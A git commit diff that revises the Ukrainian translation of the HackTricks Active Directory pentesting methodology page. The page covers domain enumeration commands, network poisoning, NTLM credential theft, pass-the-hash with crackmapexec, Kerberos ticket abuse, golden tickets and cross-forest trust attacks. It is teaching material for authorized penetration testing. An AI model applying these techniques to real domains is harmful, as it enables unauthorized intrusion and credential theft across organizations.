Translated ['src/windows-hardening/active-directory-methodology/README.m

This commit is contained in:
Translator 2025-07-17 18:14:45 +00:00
parent cb68ef9b72
commit ef8ef802d6
3 changed files with 166 additions and 48 deletions

View File

@ -268,6 +268,7 @@
- [DSRM Credentials](windows-hardening/active-directory-methodology/dsrm-credentials.md)
- [External Forest Domain - OneWay (Inbound) or bidirectional](windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md)
- [External Forest Domain - One-Way (Outbound)](windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md)
- [Golden Dmsa Gmsa](windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md)
- [Golden Ticket](windows-hardening/active-directory-methodology/golden-ticket.md)
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)

View File

@ -12,7 +12,7 @@
1. **Directory** Містить всю інформацію, що стосується об'єктів Active Directory.
2. **Object** Позначає сутності в каталозі, включаючи **користувачів**, **групи** або **спільні папки**.
3. **Domain** Служить контейнером для об'єктів каталогу, з можливістю для кількох доменів співіснувати в межах **лісу**, кожен з яких підтримує свою власну колекцію об'єктів.
3. **Domain** Служить контейнером для об'єктів каталогу, з можливістю для кількох доменів співіснувати в **лісі**, кожен з яких підтримує свою власну колекцію об'єктів.
4. **Tree** Групування доменів, які ділять спільний кореневий домен.
5. **Forest** Вершина організаційної структури в Active Directory, що складається з кількох дерев з **довірчими відносинами** між ними.
@ -23,7 +23,7 @@
3. **Lightweight Directory Services** Підтримує програми, що використовують каталог, через **LDAP протокол**.
4. **Directory Federation Services** Надає можливості **одного входу** для автентифікації користувачів через кілька веб-додатків в одній сесії.
5. **Rights Management** Допомагає захистити авторські матеріали, регулюючи їх несанкціоноване розповсюдження та використання.
6. **DNS Service** Критично важливий для розв'язання **імен доменів**.
6. **DNS Service** Критично важливий для розв'язання **доменних імен**.
Для більш детального пояснення перегляньте: [**TechTerms - Визначення Active Directory**](https://techterms.com/definition/active_directory)
@ -52,7 +52,7 @@
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- Більш детальний посібник про те, як перерахувати SMB-сервер, можна знайти тут:
- Більш детальну інструкцію про те, як перерахувати SMB-сервер, можна знайти тут:
{{#ref}}
../../network-services-pentesting/pentesting-smb/
@ -60,7 +60,7 @@
- **Enumerate Ldap**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- Більш детальний посібник про те, як перерахувати LDAP, можна знайти тут (зверніть **особливу увагу на анонімний доступ**):
- Більш детальну інструкцію про те, як перерахувати LDAP, можна знайти тут (зверніть **особливу увагу на анонімний доступ**):
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -69,10 +69,10 @@
- **Poison the network**
- Збирати облікові дані [**імітуючи сервіси з Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Отримати доступ до хоста, [**зловживаючи атакою реле**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Збирати облікові дані **викриваючи** [**підроблені UPnP сервіси з evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- Збирати облікові дані, **викриваючи** [**підроблені UPnP сервіси з evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Витягувати імена користувачів/імена з внутрішніх документів, соціальних мереж, сервісів (в основному веб) в межах доменних середовищ, а також з публічно доступних джерел.
- Якщо ви знайдете повні імена працівників компанії, ви можете спробувати різні конвенції імен користувачів AD (**[читайте це**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Найбільш поширені конвенції: _NameSurname_, _Name.Surname_, _NamSur_ (3 літери з кожного), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _випадкові літери та 3 випадкові цифри_ (abc123).
- Якщо ви знайдете повні імена працівників компанії, ви можете спробувати різні конвенції імен користувачів AD (**[**прочитайте це**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Найбільш поширені конвенції: _NameSurname_, _Name.Surname_, _NamSur_ (3 літери з кожного), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _випадкові літери та 3 випадкові цифри_ (abc123).
- Інструменти:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -80,7 +80,7 @@
### User enumeration
- **Анонімний SMB/LDAP enum:** Перевірте сторінки [**пентестингу SMB**](../../network-services-pentesting/pentesting-smb/index.html) та [**пентестингу LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum**: Коли запитується **недійсне ім'я користувача**, сервер відповість, використовуючи **код помилки Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, що дозволяє нам визначити, що ім'я користувача було недійсним. **Дійсні імена користувачів** викличуть або **TGT в AS-REP** відповіді, або помилку _KRB5KDC_ERR_PREAUTH_REQUIRED_, що вказує на те, що користувачеві потрібно виконати попередню автентифікацію.
- **Kerbrute enum**: Коли запитується **недійсне ім'я користувача**, сервер відповість, використовуючи **код помилки Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, що дозволяє нам визначити, що ім'я користувача було недійсним. **Дійсні імена користувачів** викликатимуть або **TGT в AS-REP** відповіді, або помилку _KRB5KDC_ERR_PREAUTH_REQUIRED_, що вказує на те, що користувачеві потрібно виконати попередню автентифікацію.
- **Без автентифікації проти MS-NRPC**: Використання auth-level = 1 (Без автентифікації) проти інтерфейсу MS-NRPC (Netlogon) на контролерах домену. Метод викликає функцію `DsrGetDcNameEx2` після прив'язки інтерфейсу MS-NRPC, щоб перевірити, чи існує користувач або комп'ютер без жодних облікових даних. Інструмент [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) реалізує цей тип перерахунку. Дослідження можна знайти [тут](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -136,7 +136,7 @@ password-spraying.md
Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних адрес і краще розуміння мережі**. Ви можете спробувати примусити NTLM [**реле атаки**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack), щоб отримати доступ до середовища AD.
### Вкрасти NTLM кредити
### Вкрасти NTLM креденціали
Якщо ви можете **отримати доступ до інших ПК або загальних ресурсів** з **нульовим або гостьовим користувачем**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось отримають доступ, **спровокують NTLM аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM челендж** для злому:
@ -146,7 +146,7 @@ password-spraying.md
## Перерахунок Active Directory ЗА допомогою облікових даних/сесії
Для цього етапу вам потрібно мати **компрометовані облікові дані або сесію дійсного облікового запису домену.** Якщо у вас є дійсні облікові дані або оболонка як доменний користувач, **пам'ятайте, що варіанти, наведені раніше, все ще є варіантами для компрометації інших користувачів**.
Для цього етапу вам потрібно **компрометувати облікові дані або сесію дійсного облікового запису домену.** Якщо у вас є дійсні облікові дані або оболонка як доменний користувач, **пам'ятайте, що варіанти, наведені раніше, все ще є варіантами для компрометації інших користувачів**.
Перед початком аутентифікованого перерахунку ви повинні знати, що таке **проблема подвійного стрибка Kerberos.**
@ -163,20 +163,20 @@ kerberos-double-hop-problem.md
- Ви можете використовувати [**CMD для виконання базової розвідки**](../basic-cmd-for-pentesters.md#domain-info)
- Ви також можете використовувати [**powershell для розвідки**](../basic-powershell-for-pentesters/index.html), що буде менш помітно
- Ви також можете [**використовувати powerview**](../basic-powershell-for-pentesters/powerview.md) для отримання більш детальної інформації
- Інший чудовий інструмент для розвідки в активному каталозі - це [**BloodHound**](bloodhound.md). Це **не дуже непомітно** (залежно від методів збору, які ви використовуєте), але **якщо вам це не важливо**, ви повинні обов'язково спробувати. Знайдіть, де користувачі можуть RDP, знайдіть шлях до інших груп тощо.
- Інший чудовий інструмент для розвідки в Active Directory - це [**BloodHound**](bloodhound.md). Це **не дуже непомітно** (залежно від методів збору, які ви використовуєте), але **якщо вам це не важливо**, ви повинні обов'язково спробувати. Знайдіть, де користувачі можуть RDP, знайдіть шлях до інших груп тощо.
- **Інші автоматизовані інструменти для перерахунку AD:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS записи AD**](ad-dns-records.md), оскільки вони можуть містити цікаву інформацію.
- **Інструмент з GUI**, який ви можете використовувати для перерахунку каталогу, - це **AdExplorer.exe** з **SysInternal** Suite.
- Ви також можете шукати в LDAP базі даних за допомогою **ldapsearch**, щоб шукати облікові дані в полях _userPassword_ та _unixUserPassword_, або навіть для _Description_. cf. [Пароль в коментарі користувача AD на PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) для інших методів.
- Якщо ви використовуєте **Linux**, ви також можете перерахувати домен, використовуючи [**pywerview**](https://github.com/the-useless-one/pywerview).
- Якщо ви використовуєте **Linux**, ви також можете перерахувати домен за допомогою [**pywerview**](https://github.com/the-useless-one/pywerview).
- Ви також можете спробувати автоматизовані інструменти, такі як:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Витягування всіх користувачів домену**
- **Отримання всіх користувачів домену**
Дуже легко отримати всі імена користувачів домену з Windows (`net user /domain`, `Get-DomainUser` або `wmic useraccount get name,sid`). У Linux ви можете використовувати: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` або `enum4linux -a -u "user" -p "password" <DC IP>`
> Навіть якщо цей розділ перерахунку виглядає маленьким, це найважливіша частина всього. Доступайтеся до посилань (в основному до тих, що стосуються cmd, powershell, powerview і BloodHound), навчіться, як перераховувати домен, і практикуйтеся, поки не відчуєте себе комфортно. Під час оцінки це буде ключовий момент, щоб знайти свій шлях до DA або вирішити, що нічого не можна зробити.
> Навіть якщо цей розділ перерахунку виглядає маленьким, це найважливіша частина всього. Доступ до посилань (в основному до cmd, powershell, powerview і BloodHound), навчіться, як перерахувати домен, і практикуйтеся, поки не відчуєте себе комфортно. Під час оцінки це буде ключовий момент, щоб знайти свій шлях до DA або вирішити, що нічого не можна зробити.
### Kerberoast
@ -192,15 +192,15 @@ kerberoast.md
Якщо ви отримали деякі облікові дані, ви можете перевірити, чи маєте доступ до будь-якої **машини**. Для цього ви можете використовувати **CrackMapExec**, щоб спробувати підключитися до кількох серверів з різними протоколами, відповідно до ваших сканувань портів.
### Локальне підвищення привілеїв
### Підвищення локальних привілеїв
Якщо ви компрометували облікові дані або сесію як звичайний доменний користувач і маєте **доступ** з цим користувачем до **будь-якої машини в домені**, ви повинні спробувати знайти спосіб **підвищити привілеї локально та шукати облікові дані**. Це тому, що тільки з правами локального адміністратора ви зможете **вивантажити хеші інших користувачів** в пам'яті (LSASS) та локально (SAM).
Якщо ви компрометували облікові дані або сесію як звичайний доменний користувач і у вас є **доступ** з цим користувачем до **будь-якої машини в домені**, ви повинні спробувати знайти спосіб **підвищити привілеї локально та шукати облікові дані**. Це тому, що тільки з привілеями локального адміністратора ви зможете **вивантажити хеші інших користувачів** в пам'яті (LSASS) та локально (SAM).
У цій книзі є повна сторінка про [**локальне підвищення привілеїв у Windows**](../windows-local-privilege-escalation/index.html) та [**контрольний список**](../checklist-windows-privilege-escalation.md). Також не забудьте використовувати [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
У цій книзі є повна сторінка про [**підвищення локальних привілеїв у Windows**](../windows-local-privilege-escalation/index.html) та [**контрольний список**](../checklist-windows-privilege-escalation.md). Також не забудьте використовувати [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
### Поточні сесійні квитки
Дуже **малоймовірно**, що ви знайдете **квитки** у поточного користувача, **які надають вам дозвіл на доступ** до несподіваних ресурсів, але ви можете перевірити:
Дуже **малоймовірно**, що ви знайдете **квитки** у поточного користувача, **які надають вам доступ** до несподіваних ресурсів, але ви можете перевірити:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -220,7 +220,7 @@ kerberoast.md
### Steal NTLM Creds
Якщо ви можете **доступитися до інших ПК або загальних папок**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось відкриють, **запустять NTLM аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM виклик** для його зламу:
Якщо ви можете **доступитися до інших ПК або загальних папок**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось відкриють, **викличуть NTLM аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM виклик** для його зламу:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -247,7 +247,7 @@ printnightmare.md
### Pass the Hash
**Якщо у вас є хеш користувача**, ви можете використовувати його для **імітуювання** його.\
Вам потрібно використовувати якийсь **інструмент**, який **виконає** **NTLM аутентифікацію, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** всередину **LSASS**, так що коли будь-яка **NTLM аутентифікація виконується**, цей **хеш буде використаний.** Останній варіант - це те, що робить mimikatz.\
Вам потрібно використовувати якийсь **інструмент**, який **виконає** **NTLM аутентифікацію, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** всередину **LSASS**, так що коли будь-яка **NTLM аутентифікація виконується**, цей **хеш буде використано.** Останній варіант - це те, що робить mimikatz.\
[**Прочитайте цю сторінку для отримання додаткової інформації.**](../ntlm/index.html#pass-the-hash)
### Over Pass the Hash/Pass the Key
@ -279,7 +279,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### Зловживання MSSQL та Довірені Посилання
Якщо користувач має привілеї для **доступу до екземплярів MSSQL**, він може використовувати це для **виконання команд** на хості MSSQL (якщо працює як SA), **викрасти** NetNTLM **хеш** або навіть виконати **атака реле**.\
Якщо користувач має привілеї для **доступу до екземплярів MSSQL**, він може використовувати це для **виконання команд** на хості MSSQL (якщо працює як SA), **викрадення** хешу NetNTLM або навіть виконання **атаки** **реле**.\
Також, якщо екземпляр MSSQL є довіреним (посилання на базу даних) іншим екземпляром MSSQL. Якщо користувач має привілеї над довіреною базою даних, він зможе **використовувати довірчі відносини для виконання запитів також в іншому екземплярі**. Ці довіри можуть бути з'єднані, і в якийсь момент користувач може знайти неправильно налаштовану базу даних, де він може виконувати команди.\
**Посилання між базами даних працюють навіть через довіри лісу.**
@ -341,7 +341,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** забезпечує систему для управління **паролем локального адміністратора** на комп'ютерах, що приєднані до домену, забезпечуючи його **випадковість**, унікальність та часту **зміну**. Ці паролі зберігаються в Active Directory, а доступ контролюється через ACL лише для авторизованих користувачів. З достатніми привілеями для доступу до цих паролів, стає можливим перемикання на інші комп'ютери.
**LAPS** забезпечує систему для управління **паролем локального адміністратора** на комп'ютерах, що приєднані до домену, забезпечуючи його **випадковість**, унікальність та часту **зміну**. Ці паролі зберігаються в Active Directory, а доступ контролюється через ACL лише для авторизованих користувачів. З достатніми привілеями для доступу до цих паролів, стає можливим переміщення до інших комп'ютерів.
{{#ref}}
laps.md
@ -373,7 +373,7 @@ ad-certificates/domain-escalation.md
[**Більше інформації про те, як вкрасти NTDS.dit можна знайти тут**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Privesc як Постійність
### Привілеї як Постійність
Деякі з технік, обговорених раніше, можуть бути використані для постійності.\
Наприклад, ви могли б:
@ -416,7 +416,7 @@ golden-ticket.md
### Діамантовий Квиток
Ці квитки схожі на золоті, але підроблені так, що **обходять звичайні механізми виявлення золотих квитків.**
Це схоже на золоті квитки, підроблені таким чином, що **обходять звичайні механізми виявлення золотих квитків.**
{{#ref}}
diamond-ticket.md
@ -432,7 +432,7 @@ ad-certificates/account-persistence.md
### **Постійність Домену Сертифікатів**
**Використання сертифікатів також можливе для збереження постійності з високими привілеями в домені:**
**Використання сертифікатів також можливе для збереження високих привілеїв у домені:**
{{#ref}}
ad-certificates/domain-persistence.md
@ -496,7 +496,7 @@ dcshadow.md
### Постійність LAPS
Раніше ми обговорювали, як ескалювати привілеї, якщо у вас є **достатні дозволи для читання паролів LAPS**. Однак ці паролі також можуть бути використані для **збереження постійності**.\
Раніше ми обговорювали, як ескалювати привілеї, якщо у вас є **достатні дозволи для читання паролів LAPS**. Однак ці паролі також можуть бути використані для **підтримки постійності**.\
Перевірте:
{{#ref}}
@ -509,7 +509,7 @@ Microsoft розглядає **Ліс** як межу безпеки. Це оз
### Основна Інформація
[**Доменна довіра**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) є механізмом безпеки, який дозволяє користувачу з одного **домену** отримувати доступ до ресурсів в іншому **домені**. Це фактично створює зв'язок між системами аутентифікації двох доменів, дозволяючи перевіркам аутентифікації проходити безперешкодно. Коли домени встановлюють довіру, вони обмінюються та зберігають певні **ключі** в своїх **Контролерах Доменів (DC)**, які є критично важливими для цілісності довіри.
[**Доменна довіра**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) є механізмом безпеки, який дозволяє користувачу з одного **домену** отримувати доступ до ресурсів в іншому **домені**. Це фактично створює зв'язок між системами аутентифікації двох доменів, дозволяючи перевіркам аутентифікації проходити безперешкодно. Коли домени встановлюють довіру, вони обмінюються та зберігають специфічні **ключі** в своїх **Контролерах Доменів (DC)**, які є критично важливими для цілісності довіри.
У типовій ситуації, якщо користувач має намір отримати доступ до служби в **довіреному домені**, спочатку він повинен запитати спеціальний квиток, відомий як **міждоменний TGT**, у DC свого власного домену. Цей TGT зашифрований спільним **ключем**, на якому обидва домени погодилися. Користувач потім представляє цей TGT **DC довіреного домену**, щоб отримати квиток на службу (**TGS**). Після успішної перевірки міждоменного TGT DC довіреного домену видає TGS, надаючи користувачу доступ до служби.
@ -520,7 +520,7 @@ Microsoft розглядає **Ліс** як межу безпеки. Це оз
3. Клієнт потім запитує **міждоменний TGT** у DC1, який потрібен для доступу до ресурсів у **Домені 2**.
4. Міждоменний TGT зашифрований спільним **ключем довіри**, що ділиться між DC1 та DC2 в рамках двосторонньої довіри домену.
5. Клієнт приносить міждоменний TGT до **Контролера Домену 2 (DC2)**.
6. DC2 перевіряє міждоменний TGT, використовуючи свій спільний ключ довіри, і, якщо він дійсний, видає **Квиток на Надання Квитків (TGS)** для сервера в Домені 2, до якого клієнт хоче отримати доступ.
6. DC2 перевіряє міждоменний TGT, використовуючи свій спільний ключ довіри, і, якщо він дійсний, видає **Квиток на Надання Служби (TGS)** для сервера в Домені 2, до якого клієнт хоче отримати доступ.
7. Нарешті, клієнт представляє цей TGS серверу, який зашифрований хешем облікового запису сервера, щоб отримати доступ до служби в Домені 2.
### Різні довіри
@ -531,34 +531,34 @@ Microsoft розглядає **Ліс** як межу безпеки. Це оз
**Різні довірчі відносини**
- **Довіри Батьків-Дітей**: Це звичайна налаштування в одному лісі, де дочірній домен автоматично має двосторонню транзитивну довіру з батьківським доменом. Це означає, що запити на аутентифікацію можуть проходити безперешкодно між батьком і дитиною.
- **Перехресні Довіри**: Відомі як "скорочені довіри", вони встановлюються між дочірніми доменами для прискорення процесів посилання. У складних лісах запити на аутентифікацію зазвичай повинні подорожувати до кореня лісу, а потім вниз до цільового домену. Створюючи перехресні зв'язки, подорож скорочується, що особливо корисно в географічно розподілених середовищах.
- **Довіри Батьків-Дітей**: Це звичайна налаштування в межах одного лісу, де дитячий домен автоматично має двосторонню транзитивну довіру з батьківським доменом. Це означає, що запити на аутентифікацію можуть проходити безперешкодно між батьком і дитиною.
- **Перехресні Довіри**: Відомі як "скорочені довіри", вони встановлюються між дитячими доменами для прискорення процесів посилання. У складних лісах посилання на аутентифікацію зазвичай повинні подорожувати до кореня лісу, а потім вниз до цільового домену. Створюючи перехресні зв'язки, подорож скорочується, що особливо корисно в географічно розподілених середовищах.
- **Зовнішні Довіри**: Вони встановлюються між різними, не пов'язаними доменами і за своєю природою є нетранзитивними. Згідно з [документацією Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), зовнішні довіри корисні для доступу до ресурсів у домені поза поточним лісом, який не підключений через довіру лісу. Безпека посилюється через фільтрацію SID з зовнішніми довірами.
- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новим коренем дерева, що додається. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових дерев доменів до лісу, дозволяючи їм зберігати унікальне ім'я домену та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новим коренем дерева, що додається. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових дерев доменів до лісу, дозволяючи їм зберігати унікальну назву домену та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Довіри Лісу**: Цей тип довіри є двосторонньою транзитивною довірою між двома кореневими доменами лісу, також забезпечуючи фільтрацію SID для підвищення заходів безпеки.
- **Довіри MIT**: Ці довіри встановлюються з не-Windows, [RFC4120-сумісними](https://tools.ietf.org/html/rfc4120) доменами Kerberos. Довіри MIT є дещо більш спеціалізованими і призначені для середовищ, які потребують інтеграції з системами на основі Kerberos поза екосистемою Windows.
#### Інші відмінності в **довірчих відносинах**
- Довірча відносина також може бути **транзитивною** (A довіряє B, B довіряє C, тоді A довіряє C) або **нетранзитивною**.
- Довірча відносина може бути також **транзитивною** (A довіряє B, B довіряє C, тоді A довіряє C) або **нетранзитивною**.
- Довірча відносина може бути налаштована як **двостороння довіра** (обидва довіряють один одному) або як **одностороння довіра** (лише один з них довіряє іншому).
### Шлях Атаки
1. **Перелічити** довірчі відносини
2. Перевірте, чи має будь-який **суб'єкт безпеки** (користувач/група/комп'ютер) **доступ** до ресурсів **іншого домену**, можливо, через записи ACE або перебуваючи в групах іншого домену. Шукайте **відносини між доменами** (довіра була створена для цього, напевно).
2. Перевірте, чи має будь-який **суб'єкт безпеки** (користувач/група/комп'ютер) **доступ** до ресурсів **іншого домену**, можливо, через записи ACE або будучи в групах іншого домену. Шукайте **відносини між доменами** (довіра була створена для цього, напевно).
1. У цьому випадку kerberoast може бути ще одним варіантом.
3. **Скомпрометувати** **облікові записи**, які можуть **перемикатися** між доменами.
3. **Скомпрометувати** **облікові записи**, які можуть **переміщатися** між доменами.
Зловмисники можуть отримати доступ до ресурсів в іншому домені через три основні механізми:
- **Членство в Локальних Групах**: Суб'єкти можуть бути додані до локальних груп на машинах, таких як група "Адміністратори" на сервері, надаючи їм значний контроль над цією машиною.
- **Членство в Групах Зовнішнього Домену**: Суб'єкти також можуть бути членами груп у зовнішньому домені. Однак ефективність цього методу залежить від природи довіри та обсягу групи.
- **Списки Контролю Доступу (ACL)**: Суб'єкти можуть бути вказані в **ACL**, особливо як сутності в **ACE** в рамках **DACL**, надаючи їм доступ до конкретних ресурсів. Для тих, хто хоче глибше зануритися в механіку ACL, DACL та ACE, документ під назвою “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” є безцінним ресурсом.
- **Членство в Групах Іноземного Домену**: Суб'єкти також можуть бути членами груп у іноземному домені. Однак ефективність цього методу залежить від природи довіри та обсягу групи.
- **Списки Контролю Доступу (ACL)**: Суб'єкти можуть бути вказані в **ACL**, особливо як сутності в **ACE** в рамках **DACL**, надаючи їм доступ до специфічних ресурсів. Для тих, хто хоче глибше зануритися в механіку ACL, DACL та ACE, документ під назвою “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” є безцінним ресурсом.
### Знайти зовнішніх користувачів/групи з дозволами
Ви можете перевірити **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**, щоб знайти зовнішні суб'єкти безпеки в домені. Це будуть користувачі/групи з **зовнішнього домену/лісу**.
Ви можете перевірити **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**, щоб знайти іноземні суб'єкти безпеки в домені. Це будуть користувачі/групи з **зовнішнього домену/лісу**.
Ви можете перевірити це в **Bloodhound** або за допомогою powerview:
```powershell
@ -594,7 +594,7 @@ nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
```
> [!WARNING]
> Є **2 довірених ключі**, один для _Child --> Parent_ і інший для _Parent_ --> _Child_.\
> Є **2 довірених ключі**, один для _Child --> Parent_ і ще один для _Parent_ --> _Child_.\
> Ви можете використовувати той, що використовується поточним доменом, за допомогою:
>
> ```bash
@ -604,7 +604,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
#### Впровадження SID-History
Ескалація як Enterprise admin до дочірнього/батьківського домену, зловживаючи довірою з впровадженням SID-History:
Ескалація як Enterprise admin до дочірнього/батьківського домену шляхом зловживання довірою з впровадженням SID-History:
{{#ref}}
sid-history-injection.md
@ -612,7 +612,7 @@ sid-history-injection.md
#### Використання записуваного Configuration NC
Розуміння того, як можна експлуатувати Configuration Naming Context (NC), є критично важливим. Configuration NC служить центральним репозиторієм для конфігураційних даних у лісі в середовищах Active Directory (AD). Ці дані реплікуються на кожен Domain Controller (DC) у лісі, при цьому записувані DC підтримують записувану копію Configuration NC. Щоб це експлуатувати, потрібно мати **SYSTEM привілеї на DC**, бажано на дочірньому DC.
Розуміння того, як можна експлуатувати Configuration Naming Context (NC), є критично важливим. Configuration NC слугує центральним репозиторієм для конфігураційних даних у лісі в середовищах Active Directory (AD). Ці дані реплікуються на кожен Контролер Домену (DC) у лісі, причому записувані DC підтримують записувану копію Configuration NC. Щоб це експлуатувати, потрібно мати **привілеї SYSTEM на DC**, бажано на дочірньому DC.
**Прив'язка GPO до кореневого сайту DC**
@ -624,7 +624,13 @@ sid-history-injection.md
Вектор атаки передбачає націлювання на привілейовані gMSA в домені. Ключ KDS Root, необхідний для обчислення паролів gMSA, зберігається в Configuration NC. Маючи привілеї SYSTEM на будь-якому DC, можна отримати доступ до ключа KDS Root і обчислити паролі для будь-якого gMSA в лісі.
Детальний аналіз можна знайти в обговоренні [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
Детальний аналіз і покрокове керівництво можна знайти в:
{{#ref}}
golden-dmsa-gmsa.md
{{#endref}}
Додаткові зовнішні дослідження: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
**Атака на зміну схеми**
@ -634,11 +640,11 @@ sid-history-injection.md
**Від DA до EA з ADCS ESC5**
Уразливість ADCS ESC5 націлюється на контроль над об'єктами інфраструктури відкритих ключів (PKI), щоб створити шаблон сертифіката, який дозволяє аутентифікацію як будь-який користувач у лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5.
Уразливість ADCS ESC5 націлюється на контроль над об'єктами Інфраструктури відкритих ключів (PKI), щоб створити шаблон сертифіката, який дозволяє автентифікацію як будь-який користувач у лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5.
Більше деталей про це можна прочитати в [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). У сценаріях, де немає ADCS, зловмисник має можливість налаштувати необхідні компоненти, як обговорюється в [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### Зовнішній лісовий домен - односторонній (вхідний) або двосторонній
### Зовнішній домен лісу - Односторонній (вхідний) або двосторонній
```bash
Get-DomainTrust
SourceName : a.domain.local --> Current domain
@ -669,16 +675,16 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
У цьому сценарії **ваш домен** **довіряє** деяким **привілеям** принципу з **інших доменів**.
